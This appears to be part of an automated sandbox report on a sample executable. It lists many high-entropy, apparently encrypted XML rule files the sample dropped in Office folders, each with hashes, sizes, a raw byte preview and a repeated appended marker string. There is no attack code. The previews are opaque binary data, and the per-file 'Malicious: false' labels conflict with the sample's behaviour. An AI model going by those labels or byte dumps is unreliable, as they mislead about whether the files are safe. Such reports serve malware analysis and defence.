SSDEEP:	24:JU3hVb9ediT7IpRpkCUNA410r4mmWENWSPdkE5IK96n1LdkbD:e3n5Ui+RpkCU+Ca4mDEUSPdkmc1LsD
MD5:	93F3FF7AF5BBF9BE2CDD65ADF7AA0937
SHA1:	75CB5F56E6ED27C1F3E06E4717AAF6AB3E31BF8C
SHA-256:	B83C6F0B3C8BB2D9F1EB239F5591B6C80952C41A5915274E221AB0326371CF4C
SHA-512:	FB2CACD73348FAE08E3E3AE1BA64BC1E42C93D7FED06E7316AFC44BC1243B6C84F9353CA593FAA54C4CD08F9354D0014A501BC690DD3F872AC5316544D921AFE
Malicious:	false
Preview:	<?xml...\a.....9...WH.......m.Ll]\...m.o.{....[-......L.P.....Q............>.......q.TE,..v...M.......3F..=e...w.........V...........[b.i'@.o....B...)..C..{P",.n"..Z7.t.H..3..m.C..r7..;C.5...[nr'...!.....e4x.,.e.],....(+..hH.o..?..I.@...e.......~...yS/.>.$>.3..N.AM.A..1`]..;.q.QH..e.h...@.../.....\.A.#..K.9......6-....`.p.0...P....%w.......`...........4.....of...A.VE...rpt.w4.z.5....Lw...}....s.D.d...XX$.c..(..h.H.x..I.r?..s\|.)..=+.E`.<.0.Y3.kR.ee[S.....{...h.-...(.c~.....#.d:...../.......f(.u9.-..../.q...`C..>Wg.3...F5..G....WP.c.QYai..^..0BV..$.....`..wL....:3.L........;8`_...........s..&.}..}+...lR:.......rEg..,E..dJzj.'GXH..n...z.qf..~~.Ja..N..<.......br#....A.o.l.....0..^....[.......h..W.......Q.?y..d...h.....S.....4P......Q.NW../..U:3(.....r...}.....~.u..0..!.pP...5(.....f...M........:.........'.....g.}.E.0$......Q ..R.V h.]X..XP...D...%.U.)JKB.......x.]...2.ka........`.g.O^.8..x.I8..W.'..'O:J+......+....-.v....T%.;..r..hr./D*".9.,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100105v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1175
Entropy (8bit):	7.825041210197055
Encrypted:	false
SSDEEP:	24:J7e15axnajQyNFjuhHeomw+/bi3FiQ4JDV3jXD+6F4i2S57KkbD:J7a5axnutShHeoQDi3FixJDljz+6F4R+
MD5:	66493CE9276D5B62A8E2AA57BFBB7A62
SHA1:	245C99BF088BEB6477A6F981CA230952F1213E93
SHA-256:	BE3499CAACDF6960156D04575CDA12F34245D9C5A6EF9053F60EFA7CAC377CA6
SHA-512:	400798D0055D6202AB222B8CE67507CA157CF01D4832C4656C61ED687C21200297CCC9AD676EC8E1B98B82D2BA9EF502393D031430393D3E777AD96899AC4004
Malicious:	false
Preview:	<?xml..(CL.;....Qp'..b..<...e..+q....o6.(....R+.NK..j.!....#R../o...f.}nC..^iak.....VD..0..._..`.N...T.B.....'.Y..O."..._O.tF\-....r..z....l.g...4....k<.{..P`D!a.j(L..B.9....R.C.....B.B..jn._.%@.i{....4..5..\)..8...bl..#..<...E....Fhjt..?..7.F+..._.I....@..s.@:R:/..l.=2..w.C2...&\|.6.m.t?V.......l`....^mb..n.bG.}...D....<X.i.j..d...""...UL.u.u'..N?...l....q.o.._..]+E[0..!......4......+..............j#.p..;...+.....8.....t...S).......V...N..j.9i...,.:..y.x...i..(D....+...b...GD.h0..#..@.d.O.P..K.~....../.....u...5..".Cw3S.h4.....DI.F....h.......{...l......z&...N.7{..w,..I3..8....i.....edW.I..0...n.....d..>j\|..%..-B..UE.!V..w..../...q;oc..(.<j..r..4...D..\|b.]._......{eO.i...........b....H...L.\|.q.H...p.m{Y.......4.e..o[@..q..s.9o.1..C.E......\|5..L..[..........X.2....!)%.x...,.w..SW,...Q.......Q.0.])..&. ..!/.......PF2{2Od..4..].k..c....&..l.zo.k.k/1.L..h.y).-....T-...._mT..F..I.>...<~~c.I.T~.-.I..&EJ..[.!...R.1U...l./.@.Rgdw..$.X.Yt

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100106v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1379
Entropy (8bit):	7.8508414464081655
Encrypted:	false
SSDEEP:	24:5GTTBCwOyRfUBFQEBBwlnGu2Jp4m8RjHMHiYrciEpqknEpk797B96T2VxfN6IJGL:C0wOyRfwFQEQlGunm8RjHhgciMh776Tj
MD5:	49FBFD056D66E1772BDBBD804968011D
SHA1:	6A6D28B225C837CAF4ACAAEFA87D0835EFE0FDB1
SHA-256:	B77A5157678AF3F5FB9740A39E5AF8F123780AB87F4F192CA18357388FB1959C
SHA-512:	6A32D6F8C108D7DE11354B54EFA3AD70D007D1AA86D1D097158521202CDE8D46D1C39026D0237A8484EF8187D8148080234F4C20701A98A50F354A96CB10983C
Malicious:	false
Preview:	<?xmlY.]?.o:.V.]...n....f.B..l.....Q..U.-}Xl..........0...>.5H.q..6[.?5....>..\.9...K....B.A8.3..).SY`.~.O7.s$A..n$.,.....(s`z(...YH..}.U.<........._.s.=....9!..8.^..O.D...{.....$..r...T.......,,`9.T`w.^>..N.Z$.Ki.o...l.."i..N....}/r......P....\{...6..U[..>..X.O..q3.`.....Pg.%.s..B.q.-........L..L"ngV...c3.:.M.uqZ{;.......y>7..R.)...t....#.=w.^\|.>.<.X.>nF...00......q.....G.mC=......G.#:..R.ih.f..Fp...7.y.`........d'Q-K. ...[...!}.`.O...`.a......<...M.,w.VF.......p.lM......{.u..1...R...`..Q....\|~..x.t....r~..l.{.fW.k....zd.../O..1......-]Y.@..2.5..L.\|.8.F.6..W...9......?.A..h/.V.9/LVy..$./.r5..U..jU.4.%X........\|K\H<...T......p.....<.....!,..<:$..G,W0...xc..g.....Z..#.h...)..t.k.M...C....UO..=sZ.:`s$.8...L...,7:...3..W .z...`......6..g...!...8.....mr5i....iy.3.g.z..,....v^[j...j.m>.w9oH...B.".(...#..z.rxt.F..(!M..>gAe....7[..@6..^.b.p0%..Y....ShAg..Z...W)..Z.{..2.....t9A.K&..eu..r.`.b...P.z;y.?.b{..+...H.<.....$....X......I7....l_..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100109v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	7.729692347832378
Encrypted:	false
SSDEEP:	24:jmh9jRUZ7ncl7y0xkkr3Orjnf6ZibCJV+9mk0+nkbD:CJwqyIk6giZCCJQ9b0bD
MD5:	0F2AC43EEBDD4DF7877F09B274A1C85C
SHA1:	464BBA59524CAC042604AC2867686B600A4A8B47
SHA-256:	BA3B8F941D8DC768C022A6C46287B4402B65984EE44D2BA89266B9A6E997DB7C
SHA-512:	7DF536CD840484C896E29707C3B199210E2C3775D5968A680395472E7A94E4F06724630B97B15332AD0ADD18F2A28A99EEAEF254FAC0E0A70D2F6ED5AD729E9B
Malicious:	false
Preview:	<?xml....'3......r.~.U.....Lh`Y'MJ{4...p..#Z}.&..'E.0.'ZY\|..>.9:.D'df...Fn.G..0AJq...G..@qF..G.....6.g.. A1....zv..[...T.=.Z.\.>8 ..d...Mc.V.p....Ga`FK..V.._WV..3.6[....8Q..._..,}..V.....S..[N.....p$H...b.7..O.I.D\!w.......h...#.....Z_........!rF[S.]..H;L..,.^fI.In.Q.$\|=...E.k.d.....F}.+.......9.".-.T....q.L....].F8..t..4.KR9.A.@e..'C........\..r...Umj.O.....9.r.d'..;...;.l..4.(.;..1..L.....Rv.Dv...[EF.i&...#...YpQ..lM..<.=t.w...@..S...B;...3..........;b....QW.....L.F.....D.Z.\|........;........m...s......ph.C......ob.D+.c..A.......[.p......(..B.Q..{.....o.[...a....7w.T..[59.Z........!...z....s.."....y>.Z.ZOy....q..Z,.K.$..s..{s..Y....x..Z....)....d.P...d'>!......tQ.]'...r.e;...sE......s.....6..'<...o....0.P...e.1.W.\f0.Od....\|..m.GQ$....7.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100110v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.746956971571226
Encrypted:	false
SSDEEP:	24:7PkG9Rqu1QlZRXNyz4ov4np/BtBjGj4puhK0JqchZJkbD:DFRqu+xNWT4p/BtbAzfwD
MD5:	6B37D97527FE950B6FB859B4F9952ECC
SHA1:	5ABF172C5865C9F0293881664E9104DDE279F57C
SHA-256:	6A6A267CC0BBDACC441ED54237C2D7135F6B121124206C21F2B27CDEF1654331
SHA-512:	CDCD2B941364BC3175DBE792BB36F810192C6E5AA5ADD0AF44F345B86C76C25F39207386896898EAF6D9DF837C2664C4ACE5321206FA16C9617A9F38D603BA5F
Malicious:	false
Preview:	<?xml....R=Bht..8.5KzBB..tGv$,..I.j..\|. ...wW....Pv.2X.<....6...c.4"n[...K.U.`!..`{8.F9r..R.%..{i....Y.{(^_..~...^..............hL..s...P3y...=.16....l...q.w[>..\..x...0.{.W@....V.U...\|A.[2.d..srl..;...l.2.'...G..m.Xm..\..J...2.......0..LY..^......$..Zv.+.E...\j..;......F..;%.=...s.....:Og....{...9.Z...p1.d...3....i,..eG.2.C..E.<..B...h'j..5.....NW.-M.......C.. a..TH.Bh.q....z/.]3..E.x...`O.DL.H.G,+-...Ju...F.o.(......Q.......I.==..[.0.......n.....P<\|.y..!\|.'m..X..e.Nz.f.....vX.].4.\.\\u..u2H.R'\.m..}0...0H.....Y[...@.m)......:z...&s..r4...3.-W<O...B...#.....\4.Y.....l....a#T.h.N..X5.M2L.a.!.f-.V[,....}..%.......0a...x.....'w.j..l....o1.t."..H.Z...;....j. 8.....6.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100113v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.718238141220612
Encrypted:	false
SSDEEP:	12:oAoSYVcjk6WE+SHpCspNUBxgFvnwyYnVzadgP0welElCP8uR3/P14lz1ybKoPrgX:oHSYVNEH0a61nVzWGE8u1kzkpkbD
MD5:	1D52110AD01D51CAD2C3E314DCB11612
SHA1:	D68065071F937773579453DD0A05CF07CE4207DA
SHA-256:	51D7572DFC279B5D7ED4ABF235806040C16904C4E8AEA1A1C11C260783E0A302
SHA-512:	8CB79F639AFAFE4B8208E3CBDB73506027DB315BB39E20934442E1868109BCDA80E8E2B292141272809B10453D9B3D847FC968489B719FDD4D00E02FF3CBC3ED
Malicious:	false
Preview:	<?xml.%...>..w....8-..O../..,#...'.K.......4...a.....O0.,........u......}.......Un~S.10l..Z..^.H..c..\)..ET..O..31.. .q..w.-..j....I/vb..U4..'y....N.#.Q.^H...!=..w1W.FD......%.RRV...t....^...?..&...U....F....E...pV..K.xc.6$16.}.....^i.\|...5@K..1.A>.........d.Ex.\|@O...".wS..=.K...........{.....?..d....A.=JR.<..].f.ji....b7.-..k...51.M....G%..W...`....S".+.?].U....Ck....=.2.............\|..=.}..]..#.9.N.Y..>.c...}.LA9ng..0.c..k.G..a}...._.5..e&.k.....2.k\...k".d..n.-.X.......Y....=....).P.$k.Y&O<!...i!.....,<@.!b...qt.'...g.......krw/an....G......w..(.^..\..H." .u.9..y.;.......`......V.r..Y.`@h......._............b.....>.h.H$.0W.4..5../3.<3..../...v5.2.n\..#..9..).o......r[.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100114v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.685401506724358
Encrypted:	false
SSDEEP:	12:aVi7UxTvMrINbr++aUDjUxY+6d0ekE6i8f7kXlfu124CaQS1GLxAM6+hsoV7yUIB:trm++aUcyb36pTqMIugbbRIEkbD
MD5:	19B75595BB2A5E062DD7DE99E7074A43
SHA1:	D0553541703596B2D81B581F8248EDF4B772AFA9
SHA-256:	4B7AAA8EC49F06DC161F7421975E53FABFC359FB5E4131D3277AA9EFF1D4A98B
SHA-512:	2FF21DB16E359920E5155718B3E07BA3D1DDC9C69DF224C4C04DC037ACD6257A9A3691D08F42DDF581BBBCAA9ED13E895B40089A721502B2970E8D432081D2FF
Malicious:	false
Preview:	<?xml...v.....<X.m...66,.._[...=.o..O.g...[0.e@.....Z..w..U+Z..........6.^F!8n.0...V..F...>).2..p......i.X..V...?.!...v3.@..;..(.I4X..GY.N..>.Z.<$.z...i..H..;j..U..9.Hl....r....b.t...,.X)..$O.J........zP]^!.....&....).>q4..y.^v...w{....{T}....g(y...w.A.-.z..X;..aLP!~.x.....'.AZb....as..~yE...U..xj...Y.D.o.x..'..D...wE..B...4....fF..lK.u..T.p...........Z....\|..0..%[..q..H..G..KU..S..s.q{....V.>.G."715.5..!.F..g....G?.rx....!(.....@..o.... ......0.........4..o.V$..l..I._.K>).?..K.....B......8..Pf.b.Mc.?.q......Q.PP'.......(....x{.@....HA. ,.i.}.....1.h.o..O6Lf.......{Q`IB...==.09.oJ....7.,.u.O.....l.....e..5._.....C..%..SQ6..^.....L...\M..h........{.gz}.Z...e/.Okh.F.....#dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100115v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.714471882324789
Encrypted:	false
SSDEEP:	24:YYNY6GskO1rhZgBNgmGG/rCdLla6WRtIkbD:dN9G18jgImDzCzWxD
MD5:	9862855F228B8E0247947FA9735BDAD7
SHA1:	607DCAF96D2ECC9F6CE5C8B387929F84235AF5AD
SHA-256:	474D5A4FB12D740670B9FEBF99BED51C853605E16C5CBF13F4265DD468C3AF65
SHA-512:	CEF892ACADB42AC25FE656C408E92A391AE7A22DC834C7BEE0EA2FEBC9598A6A122AF305CF1FE09D694C38B8B13F2EE8FA6373E54AB942782EDC030BDBAE3B53
Malicious:	false
Preview:	<?xml%.-N.3..;R@..H._MyH..9,...D8.Z.1@.V(.../..A... J.w..c.0.0($..r..k...:.A...U+_..q...A..gn.....Q.f...x.%h.2.y.s......n.L.(P.@y.nWc...........d.y#....U.'.....>.2....-Rl`.....&.0.....-.m.....n[.bHJk...+G..AE.2..&.U 2...Q`.uT.k....<.w.....'.;[...c.7R/.W..[.{.8Z.............G........'u...2.I$..u.!...6v.0..A.I..U.m...._W.S.......q^<+w...;`....S9{.....qf...&&.!W.p.Z.+P...<._..f.Qj...}n..T.`>A.2./.a....6.....,..V......N(vr.......<.p..d,Qia..EX.4..>......Q...<..N...ft..y.X.dp<...8.d.....O~.@.oD.6..t.?...F=..i}n(.+\WI.M....'>CGJG;uKqm(.J...3a.{7......"T.....Z..8.o.<...}.Z:{.}.2!$(...H.I......?.&....Q............/...N.....G..>~.Y.)......)......V.../s........>..n\|LB.*.2G..t.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100116v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	795
Entropy (8bit):	7.734105211909435
Encrypted:	false
SSDEEP:	12:10Fj2Dz+Z+zxIZDpwbGPDihNTCSrVc4wB8mDkGLZcgPzOeToJdJ10P9jPrgcii9a:1kSnUAW1HP0CSr9WxDkGiiToWLkbD
MD5:	AF7417E87CD8BE65BBD152B55A5070C9
SHA1:	88B16A62BF9D494770F2527A185A8B413C277CC4
SHA-256:	B751E4FEFD6D60228C7299C5809255F0DF22929B880DEEE2306E2D79ADB267CF
SHA-512:	A5F268C89BF875D99231888F587F75BA82DCDC8283158E63638BABBDC57104BB70239297124448A17F19EE9DACF514E69CA83F1995FFF6AECEE642179959233E
Malicious:	false
Preview:	<?xml....n.chF....)g93...........u...6,..d..J(wh.`....0.jz.;u...[..(...k.E.....Q...j281..Ds"..I......}..zi{.+&.)n.....>.......Z..T.l..][]Z.....'u`.y..s..&..C...~...W..Ly.y..{.V...i.FY.........U..Zl.......4yu ..+U.].l.........2...{?F...Q.'.[..o.n.... .......+..\@...U..,I.5....l...Yu..w....[..fg].h39.iSQ..$..&P....hT..v{.s7.......6._....s%.T..v...&......x...R.@_..<..mA.er.W..x.U.-......"^-B..K...9..wo.!\|...?J%.....<.U.........Y..Y.+....3.'...U.01......6..w.....K...>...x&s.:O.....u.h...<....g..3..h.$%.<#../T}..PE.M.1@u.X.WI.X...O.a/UsJ&/.Z..z<..}..\|.G....IF....%YgX..i..QYt.........V...E........Z..S.O...t!._.....c7-.A.j.e^.9M...b.5.vF3.....8.r.Ez"%.wQ.y1. O..<b..)S..W.t......:dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100117v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	869
Entropy (8bit):	7.736365653829406
Encrypted:	false
SSDEEP:	24:iTuK1+OcwAoabesloLW4HZTJK8R+eyrkbD:iTuKc5w3cesloW4HVJK8R+eBD
MD5:	F16430B4DD8B2FCE73397358F239F056
SHA1:	919B124FA213A19E529BA561FEFD3254B2109F2E
SHA-256:	350734F5ABC01AF5D6065561EFF8AE6CB2D86C32135C4EAB26D8F1FFC9832EE5
SHA-512:	6A10B367DF60E05C06C710DCCB0D14866E04D8DDDE337A8191F6CACC957977F63D8A3A41F4A192552B76D740524CB828EF8F8F6DF04A9C1D2A53FCB5BAEC0FEF
Malicious:	false
Preview:	<?xmlR.2.1.Y.H..E';.B........v)..i.Jt0.....jC.-n.....C.:.r.Z.=.#..Pd......1...4/.......t}.... ;Y........c.($....@.sk........^...)S..;..G.x.hF.k..nUs...I.;~.3.Tz...=jV.......:o5xX...I.K}..).tt.....V.....\...!`j...\...^=h.a.JH....m...L_-.{.........^9.z`.. X..2..y....._.....IYO...d..kx.89...g...3.s.)x..m..V.#x.....d../]R.c...i..4.c.Q......'..=...,J....d.{61WR..2.9....s.H..wy...&......qZtHQ...6.'V..."HE0X.!.'..i..B.c...C.f....:1.....g....i../...F.c;.Z.<..X.f.c...`.L.A...+:..w.v....j.S!.......b....aP..z)...........}e.=.....}/..l.]..b........f9}D..._.~..T7. .o}YI'e<..c8..W5s..GP.~5~. .$.?aBO+[.....T..s.;.@..k..E...(.3...\Y.....N......[Ih..e'...&'..... 4....S8.=vG.......M...J....:...y.[2.D..TwH...oU........BS..o!.r..[Jj....P...Qwmw....{...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100118v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	7.773301098976076
Encrypted:	false
SSDEEP:	24:Udr5CY7WvGGDgJ8sXn/d22WtsSm2PaergmdkbD:or5CPvLk8inctbPFZsD
MD5:	DF159533DF88FCFC9337E41FC40A43AF
SHA1:	9C6DC1AA75DE1DEF249F73D046D9018F8EA8D547
SHA-256:	D0ABAC6CAB9C9A3A0D29BBDFCE23554A724AFB23C3B2D9AFD5B300F15AC76EA0
SHA-512:	49E490F552EFF91A44C587F764FE544A15CE123CA0083DBC804270EBDD16C95B18972FA89B9DD780E27F20B557A0E4E335BA0CC9946D57AE25CD1B4F41A5B28A
Malicious:	false
Preview:	<?xml..C.@I.X...P. \.KfK....E.\|..QRPNF.:...'..c...w...........0.2.B.....r..@_+..zrl.F..x.}...^..".R..HN.\.$2..).lX.-.......1..1.x..1/...[..?Aho.i..l...e..-P.yn...p.....E:^.....D...&`.`..R?.)p?.S.6n.......D..Y.....E......b..).7.....x{)DW.4R.x.g&i.e..C.K.K.f~.(...#..Wx{..>......Y...K$..M.J.C.?B.....,p..e(...i...W.aA:.'.3...f..#..nyP......}..c.P.~.P.".?'\|.{....M.i\W6.sQ.r?"...sD.K!..m..&.l...u....i.~.g.....i,..2.]..5...b>w,:..T..@A...HEn...,=X.....8.Xg[#,`.e....:.;....ee..Sd.....\|....9.dK........k....K..'.Q..=.].R...{n .v.,.U...V$.....bZ.H@....V"...#d....L...N...QO&..:.....}.......YYd....[.r.ba#.....f)R..cTY.A.\>../.<.iD........a..........5.@.p.............0.`...g...Ct..K.F.jG.vz.....G.W.v..nb$..x.`v..W..RR+.`.....!..c./.=!.O..Y.....e5M..r..].J...Y.i:....M..X.wM.....Z..-cT@Wlw.l3.....:.Fe...G.&e.Kh....J...I... ..~..K.:..#F..Z..B..E?.@.h]`.y..2R.{)....QsE.k.\|.`..n]?..a...i...:{JodYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100119v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	7.857715120148279
Encrypted:	false
SSDEEP:	24:J6IRgMIlT6V6yVaWZ+8bMfUYiyihxfIeX98f7Pd1A+JeWUIX7bB5CGuqnSYI3241:n2e6yIc+8bMcYubwbw+JeWXQqnSYIOGD
MD5:	6E763448F614511EF8E7425619214A11
SHA1:	F3D39926F6488C60DD138E67711CAFBD9C8D0626
SHA-256:	ABDB113A778120553C5CCE60F3E4BD02BE5B21DE60C88AFED5EBBCF80F698A69
SHA-512:	ECD42686E3060BDD9CD95EB0218A02DE5EF7B2BE60BF20E4BEBE19E762D37F3448A664B3D010FE880789087FD99262AB4AD42D910C5905A66294190FFAC3E4D4
Malicious:	false
Preview:	<?xml..R.kn^\|..ghp....(...6....M......!..Q.W..H.sE.......Y..rG....G..\|.p.P..>v..pJ.qa..`f..]jM..mY..........g..d.V,......=@..V_..x..CAZT&.FWs.0.P...v.....B.e......p.~.!....u..r.K..I#I.~.....2.6?.. R{.x..C.1.....HD....wj9...>.3Ir.O.Ya:nmc..&..=.....z.pc.12...D(..6.<.S.e..(...\5.(\....>.^...R...h........_....W..6...}..*Z.Up.F............#.......'Q....N..../.d.....`-...._....Nbp......O..%...1c..Lq.....H.......2..5.+...... ...=#b.pA......~...V.T....zS.;.L.#...t..&.#u.Ft...a7.w.....a...\|...S....yN..d..._.....q.. .......>J&..C..z.b..>G..(.%]....J.....R......E..N...w..=.V[?Ki-.)..X....l.)..../"...J..=..5.C..MNv..d$..hy[4.m......iV..Rq..q.....R....8...w.I..............#..'..3x?.S..N....n.dz..Pj....k9..X..^.2[..G...1..0..5iEM......>........vR.]...'OP.1...u..K...+..L\|`<.GC.....#0....c.. ^EF&....pje....-...YCmyd.?9}.~.~.Y,...7...,[;....Z.%".Q..E..:d.y4..dm..zy;..s.....HL.X.9x.c..6...d._....$7.....Q...!(Q.M;.,>....!.........i....s.....E.../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100124v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.7016227464583125
Encrypted:	false
SSDEEP:	12:Y+722Ib7Av4gcZ/gzcC0Q43TKHd3An+xZH4SVasFgQrtO+Prgcii9a:Y+7ScooV0xKH9hTH4IzrtO4kbD
MD5:	34363C7318FBD48A210F9AFC720EC709
SHA1:	CBA0AE424FDF08D95070ECAAC61C845EE5F4E898
SHA-256:	08FF634273745B362A60E322257F875358128105E05E0FCB0A7E0FCCD903C893
SHA-512:	C88B6282660DE454462D51D398E9F6446BCCEAFA8594C8FE9B7D56C1973A8672F074D2FBA937BC0462DE6DC686AC699987FB3A441E0A24A63647B7A6BB55DDFD
Malicious:	false
Preview:	<?xml.....l.P .ax8...4..v@?.t.[^.2...{.\.S..S...k\[Dm.l..&8.A\W..1\zH......'.....B..-..~.j.}{.L...-..C.....(r.g.S?...@....B..4...N.N..20C....<^H.<...V!vJ..M.....[.........U.2...?...c.J^.{....K.uD.=$al....r.B...h..-NS.Bs.._.....y.2....>..t6...n....'.y...w....?_.si..>....k>..u.](i.Jho-..<:."....,.@..".`.x..............H.......3.x2..%...I...j.XC.__....,1.g..p.T....@ :v9.n..[xoZ.xM.......f~..4..p....'NA.=H.n.in.h.z(.3....id...}.Y....;o-.?y..,...\|.E..[...o2.=..f...L.....5......Kr...1.O...Vk...].-..s.%...W..:.@H..@.3bN...F=......\.]..Q..p.U....cX..l"...bgL.+...!...t....d.J..q.X:....... ....$- ..N.1.F...L....>=.m....;...3.adYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100125v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	7.7692303885051075
Encrypted:	false
SSDEEP:	12:m1l5lfK6POV2qUOsv1SjrO+gKuZR+D7r50hIFYDBViBbaFpr1B2kycD9+YoYpN4y:m/jGHFWW50AYGZY3VDAQ/4hH1kbD
MD5:	76DCA3229435FAF1BC52012BE224FCD0
SHA1:	64E5D27AFA87142000DDE78D61A94F6955688835
SHA-256:	1CEEF25BC7C9BD0C03F28FD5546DC8E335B6E7F66280BAD3F320F2E55F5A89C7
SHA-512:	B3CFFDDEAE3567B32BB958CCD1351138BF2803B9D52DD25B57C69C9A02AF3C209CBB3DF67D10BC16664FE95674C11842B97AE6F17D0DFF3925F00946CE34C628
Malicious:	false
Preview:	<?xml....w..6..Yj......j....0.X.^...~*..{.....d..q>}.V.o.h;R.U.?U8 /....u...#.._..~.....)....{.^..L.?....}.W..).G0......4.!T.,....'\W.ga...a.[....\|..j=.TOk.^......Y.W-3...GbZ..w.V......U...J.e.ZU.U.z@.o.c.x.d.?..xY..\..;jC.U.i2....G.5.......R.8.$X-e...!..E.E=o&..9..b;..\....-,X~..6.8...#tt...M.P.A..c.g.}bE..._.../...m...6.i.../d]..x.9.>..~ ....z.....E...B.xo......l.]5.Z.0..\|....sy=]....y...{+e.~...@.v$#B.fXk........r....=..!....uwM......a')@t.R2......X.KI...B.)....[.....\|.#kD.........mj~S!.@....%....c1.[.L`..(}.N5...A@..f.6...J....~...u.C...(..o.......k..k..67't.7...).z1.....;..-......h.}.Q....A.z.=BSi.5..>.......c.6...'.....5..{.S..4...P.K.z...OZ.."..x...W9.O..8qw&.....W^..................y.!.!N.....T.l.ZN.5..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100126v2.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	849
Entropy (8bit):	7.717391412997289
Encrypted:	false
SSDEEP:	12:x8LVtZNWBjxCiaJf9OEXpPOO0+fmjRx4kcnR2UcuC9G+dU0RTuQSHNRcVkz+GcrO:x8RtyrWJ+6fKcROuGe0RTlqcV1zkbD
MD5:	EEC327CCCEBEA9EF949E891B7AA653D2
SHA1:	82C7F07EE7A31AFF10815E249C99867C7946F70F
SHA-256:	115D487E8FA556D58FD07F89E0FC880DCFECDF465EC3572B36A6234E195D202B
SHA-512:	F167BD5C7689A1872024B80387D7AFF2AF89A0921983DB212D9EE8BCA623D3C533DD41D5C9373680BE78B2987F4BE3064E77DD7E41DBCE9F4699D8F852B947C9
Malicious:	false
